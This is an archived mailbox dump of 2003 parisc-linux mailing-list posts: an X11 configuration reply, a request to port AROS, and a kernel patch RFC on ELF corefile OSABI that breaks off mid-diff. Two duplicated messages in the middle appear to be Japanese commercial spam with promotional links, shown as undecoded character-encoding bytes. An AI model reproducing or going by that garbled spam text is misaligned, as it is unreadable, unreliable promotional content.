enough clue about this detail) at crash time (to verify if two processor 
do not try to access wrongly the same physical page)?

Thanks in advance,
    Joel





From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Sun, 17 Aug 2003 12:03:17 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20030817100317.GS16974@lug-owl.de>
References: <W9958529574305441060899998@webmail4> <20030815172142.GA19042@dsl2.external.hp.com> <1060971586.2322.213.camel@fuzzy> <1060994580.9255.1.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="oMQ/0Eds4GFUZehv"
X-Trace: ger.gmane.org 1416622691 29619 80.91.229.3 (22 Nov 2014 02:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:11 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 04:03:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id D98904831
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 04:03:18 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id CAA284B39B; Sun, 17 Aug 2003 12:03:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1060994580.9255.1.camel@dhcp23.swansea.linux.org.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19237

--oMQ/0Eds4GFUZehv
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, 2003-08-16 01:43:01 +0100, Alan Cox <alan@lxorguk.ukuu.org.uk>
wrote in message <1060994580.9255.1.camel@dhcp23.swansea.linux.org.uk>:
> On Gwe, 2003-08-15 at 19:19, James Bottomley wrote:
> > I'll see if I can figure out how to set this up...the documentation
> > appears to be a bit sparse [unless Alan has any hints].
>=20
> In the display section
>=20
> 	Visual  "TrueColor"

Now, after our hero Alan "fixed" our Xfree configury, I can really use
X11 on my B132L+ with Debian unstable:) There are still some little
problems (The "less-than, greater-than and pipe" key doesn't yet work,
and some apps don't seem to correctly work (mozilla-snapshot, dillo),
but we're almost there:) Oh, when I press NumLock (with X11), the
keyboard doesn't respond any longer (I need to shutdown X11 using the
mouse) and "gsckbd_leds: timeout" is logged...

I'm just compiling current CVS, maybe I can fix something.

Happy meeting at Oldenburg!

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--oMQ/0Eds4GFUZehv
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/P1LlHb1edYOZ4bsRAsvyAKCKg9Ws6pzQWHF8G/DYTpMnOHcWigCff1y9
qHua0B9x5GeTTjK1utXl5m8=
=zJx9
-----END PGP SIGNATURE-----

--oMQ/0Eds4GFUZehv--


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MarquiS <marquis-@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to compile i386 code for my hppa box ?
Date: Sun, 17 Aug 2003 14:48:31 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <oprt1u65kzhvbkz3@mail.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416622692 29624 80.91.229.3 (22 Nov 2014 02:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 04:49:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 21552485C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 04:49:39 -0600 (MDT)
Original-Received: (qmail 24351 invoked by uid 65534); 17 Aug 2003 10:49:38 -0000
Original-Received: from pD9E495E8.dip.t-dialin.net (217.228.149.232)
  by mail.gmx.net (mp005) with SMTP; 17 Aug 2003 12:49:38 +0200
User-Agent: Opera7.11/Win32 M2 build 2887
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19238

hi list and sorry for my english :(

i have the source code from fantastic "amiga research os" (www.aros.org)
this package is only for i386 and ppc cpu.
my question is:
-how to port this code to a hp masch. (hp 7xx/xxx,) ?
-is this very heavy work ? -can somebody this nice thing port to parisc-cpu 
? (please :) ) native or host OT:
-the aros team search many people to work on this (all arch) please look @ 
www.aros.org :)

thx MarquiS


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-2022-jp?B?GyRCIzMyLzFfJHIjNTIvIzlAaUt8MV8+WjVyTS0+WjVyJEdDNSQ5ISobKEI=?= <aka123@abeam.ocn.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzEyLzFfJHIhJiEmIzVAaUt8MV9KXT5aJHIhJiEmQzUkOUp9SyEkSCRPISYhJhsoQg==?=
Date: Sun, 17 Aug 2003 22:28:22 +0900
Lines: 56
Approved: news@gmane.org
Message-ID: <200308171328.h7HDSMs05953@mimotohosyou.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622692 29630 80.91.229.3 (22 Nov 2014 02:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 07:23:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mimotohosyou.com (p1065-ipad30fukuokachu.fukuoka.ocn.ne.jp [220.107.66.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B111486B
	for <parisc-linux@parisc-linux.org>; Sun, 17 Aug 2003 07:23:11 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by mimotohosyou.com (8.11.6/8.11.6) with ESMTP id h7HDSMs05953
	for <parisc-linux@parisc-linux.org>; Sun, 17 Aug 2003 22:28:22 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19239

$B!c;v6H<T!d9q:]?H85J]>Z<uBw6(2q!cFCDj>&<h0zK!$K4p$E$/I=<($G$9!a(B
$B<u?.5qH]$9>l9g$O!"(B http://www12.ocn.ne.jp/~osyou/deny.html$B$G$*4j$$$7$^$9!#B>$NI=<(;v9`!J<h0z>r7oEy!K$OK!N'$K=>$$%[!<%`%Z!<%8$KI=<($7$F$"$j$^$9!#!d(B  $B!!(Bhttp://www12.ocn.ne.jp/~hosyou/$B!!!!!!!!(B
$B!!!!!!!!!!!!!!!!!!!!!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y(B
 $B!!!!!!(B
$B!!!!!!!!!!!!!!!|#12/1_$r:#$H:#8e$N$?$a$NCy6b<}F~$O(B

$B!!!!!!!{!!?.$8$i$l$J$$4qH4$J>Z5rIU$-J}K!$bBg@Z(B
$B!!!!!!!{!!;v<B$+H]$+J*E*>Z5r3NG'$O99$KBg@Z(B
$B!!!!!!!{!!;qNA@A5a$N$"$H!">\:Y$rJ9$/$3$H$bG<F@$N$?$a$K$bBg@Z(B

 $B!Z#52/#9@iK|1_>Z5rM-<}F~:_BpJ]>Z>Z7t%S%8%M%98"Mx![FCJLM%6xH/GdCf(B
$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!y!z(B--$B!~(B--$B!z(B-$B"!(B
$B!!!!!!!!!!!!!Z#22/1_!&#32/1_!&#52/#9@iK|1_Ey$N<}F~<TB3=P![(B
$B!!!!!!5.J}MM$b!Z>Z5rM-%S%C%/<}F~%S%8%M%9%A%c%s%9![$N$48!F$$r!*!*!!!!(B
$B!!!!!!!!!!!!!!!!(B
$B!!!!!!!!!!!!!!!!!!!!!!J*E*>Z5r$r8+$k3NG'$9$kKx$O(B
$B!!!!!!!!2?;v$b!"qY$7qY$5$l$N@$$NCf$G$9!&?.MQ$7$J$$$G2<$5$$!#(B
$B!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y(B
 
$B!!!!!!!X#52/#9@iK|1_>Z5rM-<}F~:_Bp%S%8%M%9;v6H7P1D8"Mx!Y(B
$B!!!!!!!!!a#2#0G/M-8z!&%$%s%?!<%M%C%H!&MU=q!&(BFAX$B$G=PMh$k!a(B
$B!!"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!"!!~"!!~"!!~"!!~"!!~(B

$B!!!!$"$N;~!"#12/1_$,$"$C$?$i!&$"$N$H$-!"#22/1_$NJ]>Z$,$"$C$?$i(B
$B!!!!!!!!:#$O!":G9b$J$N$K!*!*:#$+$i$G$bCY$/$"$j$^$;$s!*!*(B
$B!!!!!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?(B 
$B"#F|K\$G=i$a$FEv6(2q$+$i#3#7G/A0$K!ZJ]>Z>Z7tJ]>Z![$r@h?J9q$r;29M$K(B
$B!!3+H/$5$l!"KL3$F;!A2-FlKxA49qE*$K3HBg$7$F$$$^$9!#(B
$B"#:[H=$HF1$8>Z5r<g5A$r7QB3$7$F#3#7G/$O?.MQ$N86E@!&>Z5r8+$F3NG'$9$k(B
$B!!$^$G$O2?;v$b?.MQ$7$J$$$O0BA4!&@.8y$N4pAC!#(B
$B"#El5~9bEy:[H==j$NH=7h=q!&#32/!"#52/#9@iK|1_$N6d9T0uM-?69~=q!&(B
$B!!J!;c;vL3=j$+$iJ]>Z4XO"=q!&B>!VJ*E*>Z5r!W$r8+$;$^$9!&8+$F$/$@$5$$(B
$B!!3NG'$7$F2<$5$$!W!X$=$l$^$G$O?.MQ$J$$$G2<$5$$!&$3$s$J%&%^%$OC$,$"(B
$B!!$k$+$H5?$C$F2<$5$$!YJ*E*>Z5r$O13$r$D$1$^$;$s!#(B
$B!!J]>Z>Z7tDL?.HNGd;v6H$r!V>Z5r$+$i3+6H=PMh$^$9!WJ]>Z$N@UG$$O$"$j$^(B
$B!!$;$s!#(B
$B"#J]>Z>Z7tH/9T85$NA49q?.MQ?H85J]>Z<uBw6(2q$,A4@UG$$r;}$A$^$9!#(B

$B9b:[H=7h=q$,J*E*>Z5r!&H=7h=q8+$;$^$9!&8+$kKx$O?.MQ$7$J$$$G2<$5$$!#(B
$B!!!y!A!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!y(B

$B;qNA@A5a$O!!(B http://www12.ocn.ne.jp/~hosyou/$B!!$+$i#32/1_$X$N0lJb(B
$B!!(B
$B!!!!!!!!!!!!!N#52/#9@iK|1_>Z5rM-:_BpJ]>Z%S%8%M%9!O$r(B $BN"IU$1$k(B
$BJ*E*>Z5r$r8+$F$+$i!"13$+@?$+$O>Z5r<!Bh!*(B
$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!>Z5r3NG'Kx$O?.MQ$7$J$$$,2?;v$b@.8y$NHk7m!*(B
$B!!!!!y!A!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!y(B
$B!!!ZJ]>Z>Z7t![Bg9%I>%M%H$GHNGd!&?M=u$1$OIT674X78$J$$9%67$OEvA3!!!!(B
 $B!!!XJ]>Z$NHa7`$N8*Be$o$j!&KI;_$NJ]>Z>Z7t!Y$O<R2qJ!;c>Z7t$G$9!#(B

$B"$J!;c4X78$+$i$NMW@A!J@83hJ]8n<T$NJ]>Z!<?HFb$,7y$C$F$$$kJ]>Z$rL5(B
$B!!>r7o$G<R2q$N0Y$KJ]>Z0z$-<u$1!K$G!VJ]>Z>Z7t!W$OBg9%I>H/GdCf(B!
$B"$O@$h$j>Z5r$OEvA3$N3J8@"$G:$`$h$j>Z5r$G3N?."$>Z5r$,L5$$$H5?$$$O(B
$B!!2r7h=PMh$J$$$N$O:#$N>o<1$G$9!#qY$5$l$?$/L5$$$J$i>Z5r<g5A$G!*!*(B
$B!!(B


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-2022-jp?B?GyRCIzMyLzFfJHIjNTIvIzlAaUt8MV8+WjVyTS0+WjVyJEdDNSQ5ISobKEI=?= <aka123@abeam.ocn.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzEyLzFfJHIhJiEmIzVAaUt8MV9KXT5aJHIhJiEmQzUkOUp9SyEkSCRPISYhJhsoQg==?=
Date: Sun, 17 Aug 2003 22:29:44 +0900
Lines: 56
Approved: news@gmane.org
Message-ID: <200308171329.h7HDTis06333@mimotohosyou.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622692 29636 80.91.229.3 (22 Nov 2014 02:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 07:24:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mimotohosyou.com (p1065-ipad30fukuokachu.fukuoka.ocn.ne.jp [220.107.66.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id F18104881
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 07:24:32 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by mimotohosyou.com (8.11.6/8.11.6) with ESMTP id h7HDTis06333
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 22:29:44 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19240

$B!c;v6H<T!d9q:]?H85J]>Z<uBw6(2q!cFCDj>&<h0zK!$K4p$E$/I=<($G$9!a(B
$B<u?.5qH]$9>l9g$O!"(B http://www12.ocn.ne.jp/~osyou/deny.html$B$G$*4j$$$7$^$9!#B>$NI=<(;v9`!J<h0z>r7oEy!K$OK!N'$K=>$$%[!<%`%Z!<%8$KI=<($7$F$"$j$^$9!#!d(B  $B!!(Bhttp://www12.ocn.ne.jp/~hosyou/$B!!!!!!!!(B
$B!!!!!!!!!!!!!!!!!!!!!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y(B
 $B!!!!!!(B
$B!!!!!!!!!!!!!!!|#12/1_$r:#$H:#8e$N$?$a$NCy6b<}F~$O(B

$B!!!!!!!{!!?.$8$i$l$J$$4qH4$J>Z5rIU$-J}K!$bBg@Z(B
$B!!!!!!!{!!;v<B$+H]$+J*E*>Z5r3NG'$O99$KBg@Z(B
$B!!!!!!!{!!;qNA@A5a$N$"$H!">\:Y$rJ9$/$3$H$bG<F@$N$?$a$K$bBg@Z(B

 $B!Z#52/#9@iK|1_>Z5rM-<}F~:_BpJ]>Z>Z7t%S%8%M%98"Mx![FCJLM%6xH/GdCf(B
$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!y!z(B--$B!~(B--$B!z(B-$B"!(B
$B!!!!!!!!!!!!!Z#22/1_!&#32/1_!&#52/#9@iK|1_Ey$N<}F~<TB3=P![(B
$B!!!!!!5.J}MM$b!Z>Z5rM-%S%C%/<}F~%S%8%M%9%A%c%s%9![$N$48!F$$r!*!*!!!!(B
$B!!!!!!!!!!!!!!!!(B
$B!!!!!!!!!!!!!!!!!!!!!!J*E*>Z5r$r8+$k3NG'$9$kKx$O(B
$B!!!!!!!!2?;v$b!"qY$7qY$5$l$N@$$NCf$G$9!&?.MQ$7$J$$$G2<$5$$!#(B
$B!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y!y!z!y!y(B
 
$B!!!!!!!X#52/#9@iK|1_>Z5rM-<}F~:_Bp%S%8%M%9;v6H7P1D8"Mx!Y(B
$B!!!!!!!!!a#2#0G/M-8z!&%$%s%?!<%M%C%H!&MU=q!&(BFAX$B$G=PMh$k!a(B
$B!!"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!!~"!"!!~"!!~"!!~"!!~"!!~(B

$B!!!!$"$N;~!"#12/1_$,$"$C$?$i!&$"$N$H$-!"#22/1_$NJ]>Z$,$"$C$?$i(B
$B!!!!!!!!:#$O!":G9b$J$N$K!*!*:#$+$i$G$bCY$/$"$j$^$;$s!*!*(B
$B!!!!!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?!2!?(B 
$B"#F|K\$G=i$a$FEv6(2q$+$i#3#7G/A0$K!ZJ]>Z>Z7tJ]>Z![$r@h?J9q$r;29M$K(B
$B!!3+H/$5$l!"KL3$F;!A2-FlKxA49qE*$K3HBg$7$F$$$^$9!#(B
$B"#:[H=$HF1$8>Z5r<g5A$r7QB3$7$F#3#7G/$O?.MQ$N86E@!&>Z5r8+$F3NG'$9$k(B
$B!!$^$G$O2?;v$b?.MQ$7$J$$$O0BA4!&@.8y$N4pAC!#(B
$B"#El5~9bEy:[H==j$NH=7h=q!&#32/!"#52/#9@iK|1_$N6d9T0uM-?69~=q!&(B
$B!!J!;c;vL3=j$+$iJ]>Z4XO"=q!&B>!VJ*E*>Z5r!W$r8+$;$^$9!&8+$F$/$@$5$$(B
$B!!3NG'$7$F2<$5$$!W!X$=$l$^$G$O?.MQ$J$$$G2<$5$$!&$3$s$J%&%^%$OC$,$"(B
$B!!$k$+$H5?$C$F2<$5$$!YJ*E*>Z5r$O13$r$D$1$^$;$s!#(B
$B!!J]>Z>Z7tDL?.HNGd;v6H$r!V>Z5r$+$i3+6H=PMh$^$9!WJ]>Z$N@UG$$O$"$j$^(B
$B!!$;$s!#(B
$B"#J]>Z>Z7tH/9T85$NA49q?.MQ?H85J]>Z<uBw6(2q$,A4@UG$$r;}$A$^$9!#(B

$B9b:[H=7h=q$,J*E*>Z5r!&H=7h=q8+$;$^$9!&8+$kKx$O?.MQ$7$J$$$G2<$5$$!#(B
$B!!!y!A!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!y(B

$B;qNA@A5a$O!!(B http://www12.ocn.ne.jp/~hosyou/$B!!$+$i#32/1_$X$N0lJb(B
$B!!(B
$B!!!!!!!!!!!!!N#52/#9@iK|1_>Z5rM-:_BpJ]>Z%S%8%M%9!O$r(B $BN"IU$1$k(B
$BJ*E*>Z5r$r8+$F$+$i!"13$+@?$+$O>Z5r<!Bh!*(B
$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!>Z5r3NG'Kx$O?.MQ$7$J$$$,2?;v$b@.8y$NHk7m!*(B
$B!!!!!y!A!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!A!y!A!A!A!A!A!y(B
$B!!!ZJ]>Z>Z7t![Bg9%I>%M%H$GHNGd!&?M=u$1$OIT674X78$J$$9%67$OEvA3!!!!(B
 $B!!!XJ]>Z$NHa7`$N8*Be$o$j!&KI;_$NJ]>Z>Z7t!Y$O<R2qJ!;c>Z7t$G$9!#(B

$B"$J!;c4X78$+$i$NMW@A!J@83hJ]8n<T$NJ]>Z!<?HFb$,7y$C$F$$$kJ]>Z$rL5(B
$B!!>r7o$G<R2q$N0Y$KJ]>Z0z$-<u$1!K$G!VJ]>Z>Z7t!W$OBg9%I>H/GdCf(B!
$B"$O@$h$j>Z5r$OEvA3$N3J8@"$G:$`$h$j>Z5r$G3N?."$>Z5r$,L5$$$H5?$$$O(B
$B!!2r7h=PMh$J$$$N$O:#$N>o<1$G$9!#qY$5$l$?$/L5$$$J$i>Z5r<g5A$G!*!*(B
$B!!(B


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] change corefile OSABI to ELFOSABI_LINUX
Date: Sun, 17 Aug 2003 12:29:24 -0700
Lines: 86
Approved: news@gmane.org
Message-ID: <20030817192923.GO21328@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622693 29640 80.91.229.3 (22 Nov 2014 02:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 13:24:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6018D4881
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 13:24:49 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 06F16CD365; Sun, 17 Aug 2003 12:29:24 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19241

Hi all,

Currently, on hppa-linux, gcc produces objects with the OSABI field set
to Linux. AFAIK, we are the only Linux architecture that does this,
everyone else uses ELFOSABI_NONE (i.e. "System V")

The Linux kernel, however, produces corefiles with OSABI=NONE (actually
it doesn't set it explicitly, so it defaults to 0, which is the SYSV
definition). The Debian gdb package has a patch in bfd that works around
this inconsistency.

Should we make the two consistent? Here's a patch that sets OSABI to
Linux for corefile generation. We will still need the bfd code for
backward compatibility, but moving forward it'll be good for things to
be more consistent :)

comments?
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


Index: fs/binfmt_elf.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/binfmt_elf.c,v
retrieving revision 1.2
diff -u -p -r1.2 binfmt_elf.c
--- fs/binfmt_elf.c	29 Jul 2003 17:25:49 -0000	1.2
+++ fs/binfmt_elf.c	17 Aug 2003 19:19:16 -0000
@@ -1023,6 +1023,7 @@ static inline void fill_elf_header(struc
 	elf->e_ident[EI_CLASS] = ELF_CLASS;
 	elf->e_ident[EI_DATA] = ELF_DATA;
 	elf->e_ident[EI_VERSION] = EV_CURRENT;
+	elf->e_ident[EI_OSABI] = ELF_OSABI;
 	memset(elf->e_ident+EI_PAD, 0, EI_NIDENT-EI_PAD);
 
 	elf->e_type = ET_CORE;
Index: include/asm-parisc/elf.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/elf.h,v
retrieving revision 1.1
diff -u -p -r1.1 elf.h
--- include/asm-parisc/elf.h	29 Jul 2003 17:02:03 -0000	1.1
+++ include/asm-parisc/elf.h	17 Aug 2003 19:19:17 -0000
@@ -283,6 +283,7 @@ struct pt_regs;	/* forward declaration..
  */
 #define ELF_DATA	ELFDATA2MSB
 #define ELF_ARCH	EM_PARISC
+#define ELF_OSABI 	ELFOSABI_LINUX
 
 /* %r23 is set by ld.so to a pointer to a function which might be 
    registered using atexit.  This provides a mean for the dynamic
Index: include/linux/elf.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/elf.h,v
retrieving revision 1.1
diff -u -p -r1.1 elf.h
